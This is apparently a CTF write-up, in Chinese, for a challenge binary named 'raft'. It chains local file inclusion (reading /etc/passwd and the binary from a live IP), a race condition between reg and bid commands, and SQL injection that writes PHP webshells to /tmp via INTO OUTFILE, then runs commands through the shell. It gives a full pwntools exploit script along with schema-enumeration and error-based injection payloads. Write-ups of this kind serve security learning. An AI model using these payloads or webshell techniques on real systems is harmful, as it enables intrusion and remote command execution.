题目没有给bin,只给了一个网站(http://54.223.241.254/),看起来是一个膜火日的网站。。我也来膜一发火日。。
网站有本地文件包含漏洞
http://54.223.241.254/?page=/etc/passwd
利用这个漏洞可以读取服务器上文件,也可以用此方法读到binary文件,至于如何找,只要依次访问如下文件就可以。
https://hub.docker.com/r/eadom/ctf_xinetd/~/dockerfile/
http://54.223.241.254/?page=/etc/xinetd.d/ctf
http://54.223.241.254/?page=/home/ctf/raft
拿到binary以后就可以分析了
漏洞分析&利用
这题binary文件很大,所以漏洞比较隐秘。由于binary中函数比较多,所以从头逆向是下下之策。
我直接通过string 定位到了SQL语句。
snprintf(&s, 500uLL, "INSERT INTO TOKENS (TOKENS, PASSWORD) VALUES('%s', '%s')", v5, v4, v17);
v22 = mysql_query(v18, (__int64)&s);
看起来v4如果可控的话,是有注入攻击的。那v4到底是否可控呢?
简单的逆一下这个函数的父函数、主函数等相关函数发现,程序提供了reg password\bid price两大功能,而v4是password的md5值,所以并不可控。然后发现这个程序居然是多线程的,心想可不可能是racecondition,由于C++的binary看起来太蛋疼,我就干脆直接写一个fuzzer跑了一下:
from pwn import *;
import random;
io=process("./raft");
def bid(data):
io.sendline("bid "+data);
def reg(passwd):
io.sendline("reg "+passwd);
def printhelp(cmd):
io.sendline("help"+cmd);
while(1):
try:
r0=random.randint(0,995);
r1=random.randint(0,995);
r2=random.randint(0,995);
r3=random.randint(0,2);
if r3==1:
bid("A"*r1)
elif r3==2:
reg("B"*r2)
else:
printhelp("C"*r0);
print io.recv(1000,1)
except:
io=process("./raft")
time.sleep(1)
continue;
然后查询本地的数据库,很快就发现了password竟然被插入了AAAAAAAA…,看来果真是racecondition,根据fuzzer生成的数据最终发现每次被插入AAAAAAAA…的时候,都是一个reg跟好几个bid,看起来是reg跟bid之间的争用,继续逆向程序,果然在0x429f发现了这个race condition。reg password中的存储md5(password)与bid price中的存储price用的是同一个内存,如果先跑一个reg,再跑n个bid的话,reg算好的md5(password)可能会被bid的price覆盖。这样我们就可以进行SQL注入了。
然后我是一个pwn选手。。 pwn选手。 pwn选手 pwn选 pwn pw p。。。。。
于是乎现学了爆表名、报错注入等一系列高端知识,把数据库翻了个底朝天,并没有找到flag。。然后接着想办法用select xxx into yyy上传webshell,上传了好几个小时,一直没上传进去,以为是权限不够,查阅各种资料,甚至还爆了secure_file_priv。。搞了几个小时,最后发现传不上去的原因是我传的那几个目录都不可写。。。。。。。最后传到/tmp终于成功了。。
接下来的问题就是成功了用菜刀连居然没反应,本来以为是被waf过滤掉了,于是乎到网上学习各种花式绕过waf的方法,都没成功。后来又想是不是LFI之后webshell就没法访问了,于是乎又到网上学了各种姿势尝试把webshell传到var/www/html目录下,又没成功,搞了几个小时,搞的tmp目录下都是我传的各种webshell,最后发现原来是菜刀的问题。。。菜刀连不上这个站。。直接用firefox手动操作就可以了。
最后上传 <?php echo system($_POST[1]);?> 到/tmp/1234.php
做以下两个post请求就可以看到flag。。
http://54.223.241.254/?page=/tmp/1234.php
1=ls /home/ctf
http://54.223.241.254/?page=/tmp/1234.php
1=cat /home/ctf/this-is-real-flag000
做完这题,我觉得我可以转web了。。。学了好多web知识
Exploit
为了让大家看到我做题的艰辛,= =我决定保留注释
from pwn import *;
import random;
#io=process("./raft");
io=remote("54.223.241.254", 22333)
fd=open("a.in","w");
def bid(data):
io.sendline("bid "+data);
fd.write("bid "+data+"\n")
def reg(passwd):
io.sendline("reg "+passwd);
fd.write("reg "+passwd+"\n")
while(1):
try:
r1=random.randint(0,800);
r2=random.randint(0,800);
r3=random.randint(0,1);
# sql="22');SELECT 'kaokaokao' INTO OUTFILE '/tmp/12c3ha4.txt'#"
sql="22');SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/tmp/1234567.php'#"
# sql="22');SELECT '<?php fputs(fopen(\"/tmp/shell257.php\",\"w\"),\"<?php ;?>\");?>' INTO OUTFILE '/tmp/noip97.php'#"
#sql="22');SELECT '<?php @eval($_POST['passwd']);?>\n<b>123<b>' INTO OUTFILE '/tmp/noip5.php'#"
#sql="22');INSERT INTO BID (PRICE,TOKENS) VALUES(222,(select TOKENS from BID where PRICE=222)+'"
#sql="22');INSERT INTO BID (PRICE,TOKENS) VALUES(222,(select @@secure_file_priv))#"
#sql="123'+ (select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,("
# payload="select @@secure_file_priv"
# payload="select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x696e666f726d6174696f6e5f736368656d61"
#payload="select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x646174657769746866697265"
#payload="select concat(group_concat(distinct schema_name)) from information_schema.schemata"
#payload="select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=0x646174657769746866697265 and table_name=0x544f4b454e53"
#payload="select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=0x646174657769746866697265 and table_name=0x424944"
# sql2=")),1))));INSERT INTO TOKENS (TOKENS, PASSWORD) VALUES('123', '123"
# sql=sql+payload+sql2
#if r3:
# bid("A"*r1)
# else:
# reg("B"*r2)
reg("B"*888)
for i in range(10):
bid(sql);
print io.recv(1000,1)
except:
# io=process("./raft")
io=remote("54.223.241.254", 22333)
time.sleep(1)
continue;
好气啊,pwn漏洞老早就搞定了,卡web卡了10多小时,妈妈我要学习web!!
最后的最后,暴打出题人,膜火日。膜抢走我一血的bird。